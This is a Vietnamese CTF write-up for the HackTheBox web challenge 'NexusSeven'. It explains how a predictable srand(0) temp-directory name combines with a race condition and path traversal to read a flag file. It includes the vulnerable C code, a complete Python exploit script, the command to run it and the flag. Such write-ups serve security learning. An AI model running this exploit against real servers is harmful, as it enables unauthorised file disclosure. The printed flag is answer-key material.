# HackTheBox - NexusSeven ## Category: Web ## Level: Easy ### Exploitation - Đây là một challenge được viết bằng C - Dựa vào source code, có thể suy ra các điểm chính như sau: - Khi user truy cập đến 1 file được phép (`.txt`, `.html`,...), hệ thống sẽ tạo ra một file tạm để lưu trữ request và response - Ngay sau khi có `response`, `response` sẽ được ghi vào file tạm và hệ thống sẽ xóa file tạm đó sau khi response tới được user ```C void *handle_client(void *arg) { int client_fd = *(int *)arg; ctx_t *ctx = (ctx_t *)calloc(1, sizeof(ctx_t)); size_t total_received = 0; ... build_stats_dir_name(base, stats_dir_path, sizeof(stats_dir_path)); if (mkdir(stats_dir_path, 0700) == 0) stats_dir_created = true; if (stats_dir_created) write_request_stats(ctx, stats_dir_path, client_fd); if (!extension_is_allowed(ctx) || strstr("..", ctx->filepath) != NULL) { build_bad_http_response(ctx); } else { build_http_response(ctx); } if (stats_dir_created) write_request_stats(ctx, stats_dir_path, client_fd); } else { build_bad_http_response(ctx); } } else { build_bad_http_response(ctx); } ... send(client_fd, ctx->response, hdr_len, 0); send(client_fd, extra, extra_len, 0); send(client_fd, body, body_len, 0); } else { send(client_fd, ctx->response, strlen(ctx->response), 0); } char discard; while (recv(client_fd, &discard, 1, 0) > 0) {} cleanup: if (stats_dir_created) remove_stats_dir(stats_dir_path); close(client_fd); free(arg); free(ctx); return NULL; } ``` - Ngoài ra, hệ thống còn triển khai các biện pháp để tránh trường hợp `Path Traversal` ```C void cleanup_filepath(ctx_t *ctx) { while (strlen(ctx->filepath) && ctx->filepath[0] == '/') { memmove(ctx->filepath, ctx->filepath+1, strlen(ctx->filepath)); } for (size_t i = 0; i < strlen(ctx->filepath); ++i) { if (ctx->filepath[i] == '.' || ctx->filepath[i] == '/' \ || ctx->filepath[i] == '-' || ctx->filepath[i] == '_' \ || isalnum(ctx->filepath[i])) continue; strcpy(ctx->filepath, DEFAULT_ROUTE); ctx->filepath[strlen(DEFAULT_ROUTE)] = '\0'; break; } } ``` - Tuy nhiên, điểm mấu chốt của challenge nằm ở cách tạo file tạm thời ```C #define RANDOM_SUFFIX_LEN 8 ... static void random_hex(char *out, size_t len) { for (size_t i = 0; i < len; ++i) { uint8_t byte = rand() & 0xFF; sprintf(out + (i * 2), "%02x", byte); } out[len * 2] = '\0'; } static void build_stats_dir_name(const char *filename, char *out, size_t out_size) { char suffix[RANDOM_SUFFIX_LEN * 2 + 1]; random_hex(suffix, RANDOM_SUFFIX_LEN); snprintf(out, out_size, "%s/%s_%s", STATS_ROOT_DIR, suffix, filename); } ``` - Tên file tạm là một chuỗi hex với độ dài `17` được thêm vào trước tên file mà user truy cập, và đặt trong /stats - Tuy nhiên, điểm yếu của hệ thống là cho phép suffix quá dễ đoán ```C int main(int argc, const char **argv) { srand(0); ensure_stats_root_created(); ... } ``` -> Suffix có thể dự đoán được, và không thay đổi - Từ những thông tin trên, có thể suy đoán được cách tấn công là kết hợp giữa `Race Condition` và `Path Traversal` (đọc file nhạy cảm khi file tạm chưa kịp xóa). Mặc dù hệ thống đã triển khai ngăn chặn `Path traversal`, nhưng không hoàn toàn chặn được lỗ hổng này (chỉ cần Path traversal đằng sau file tạm) - Mô tả tấn công: - Dự đoán suffix của hệ thống - User truy cập 1 file hợp lệ (`filename`), sau đó đồng thời truy cập `/stats/{suffix}_filename` - Thu được flag từ file tạm, trước khi nó bị xóa - Script (Nguồn: [Here](https://github.com/0xMineGo800m/hackem/blob/fbf28e0853f4b3a51c66aab953e75d5c6a89b97f/HackTheBox/Challenges/Web/NexusSeven/solver.py)): ```Python #!/usr/bin/env python3 import argparse, ctypes, os, socket, sys, threading, time, http.client def predict_suffixes(start_index: int, count: int): """ Generate `count` successive stats suffixes starting from directory index `start_index`, using the *real* C srand(0)/rand() via libc. Each suffix = 8 rand() bytes -> 16 hex chars. """ # load libc and set prototypes if sys.platform.startswith("linux"): libc_name = "libc.so.6" elif sys.platform == "darwin": libc_name = "libc.dylib" else: raise RuntimeError("Unsupported OS for libc rand().") libc = ctypes.CDLL(libc_name) libc.srand.argtypes = [ctypes.c_uint] libc.rand.restype = ctypes.c_int libc.srand(0) # Fast-forward to start_index (each dir consumes 8 rand() calls) burn = start_index * 8 for _ in range(burn): libc.rand() # Produce `count` suffixes out = [] for _ in range(count): bytes8 = [] for _ in range(8): r = libc.rand() b = r & 0xFF bytes8.append(f"{b:02x}") out.append("".join(bytes8)) return out def keepalive_holder(host: str, port: int, probe: str, ready_evt: threading.Event): """ Open a raw TCP socket, send GET /<probe>.txt with Connection: keep-alive, then *do nothing*. This keeps the server’s stats dir on disk until the socket is closed. """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) req = ( f"GET /{probe}.txt HTTP/1.1\r\n" f"Host: {host}\r\n" f"Connection: keep-alive\r\n" f"\r\n" ).encode("ascii") s.sendall(req) # We could read the response headers/body, but it's not necessary. ready_evt.set() try: while True: time.sleep(1) except KeyboardInterrupt: pass finally: try: s.shutdown(socket.SHUT_RDWR) except Exception: pass s.close() def http_get_raw(host: str, port: int, path: str, timeout: float = 3.0): """ Issue a raw HTTP/1.1 GET with the path sent *exactly as provided* (no normalization). """ conn = http.client.HTTPConnection(host, port, timeout=timeout) # http.client leaves the path untouched; that’s what we want. conn.putrequest("GET", path, skip_host=True, skip_accept_encoding=True) conn.putheader("Host", f"{host}:{port}") conn.putheader("Connection", "close") conn.endheaders() resp = conn.getresponse() body = resp.read() conn.close() return resp.status, resp.reason, body def main(): ap = argparse.ArgumentParser(description="Stats-dir traversal exploit (local & remote).") ap.add_argument("--base", default="127.0.0.1:1337", help="host:port (default: 127.0.0.1:1337)") ap.add_argument("--probe", default="probe", help="basename for probe (creates <probe>.txt)") ap.add_argument("--index", type=int, default=0, help="dir index to try first (0 after fresh start)") ap.add_argument("--window", type=int, default=1, help="number of successive indices to try") ap.add_argument("--depth", type=int, default=3, help="number of ../ to climb (3 is /app -> /)") ap.add_argument("--target", default="/flag.txt", help="target file after traversal") ap.add_argument("--verbose", action="store_true") args = ap.parse_args() host, port_str = args.base.split(":") port = int(port_str) # 1) Start holder thread to keep stats dir alive holder_ready = threading.Event() t = threading.Thread(target=keepalive_holder, args=(host, port, args.probe, holder_ready), daemon=True) t.start() holder_ready.wait(2.0) # give it a moment to send the request # 2) Predict candidate suffixes (from real libc rand) suffixes = predict_suffixes(args.index, args.window) # 3) Try each candidate traversal = "/".join([".."] * args.depth) if traversal: traversal += "/" for i, suf in enumerate(suffixes): trial_index = args.index + i path = f"/stats/{suf}_{args.probe}.txt/{traversal}{args.target.lstrip('/')}" if args.verbose: print(f"[*] Trying index={trial_index} suffix={suf} path={path}") try: status, reason, body = http_get_raw(host, port, path, timeout=4.0) except Exception as e: if args.verbose: print(f"[!] Request failed: {e}") continue if args.verbose: print(f"[+] {status} {reason}") if status == 200 and body: print("===== FLAG =====") try: sys.stdout.write(body.decode("utf-8", errors="replace")) except Exception: sys.stdout.buffer.write(body) print("\n================") return # keep going on 400/404/etc. print("[-] No hit in window. Try increasing --index/--window, and keep the holder running longer.") print(" Tip: if server just started, use --index 0 --window 1.") if __name__ == "__main__": main() ``` - Thực thi: ``` python script.py --base [IP:PORT] --index 0 --window 0 ``` - Lưu ý: Nên restart lại challenge trước khi thực thi để đảm bảo suffix chính xác ![image](https://hackmd.io/_uploads/BJ2-9RO6gx.png) ### Result ``` HTB{the_m0r3_th3_c4llz_th3_mor3_the_hol3z} ```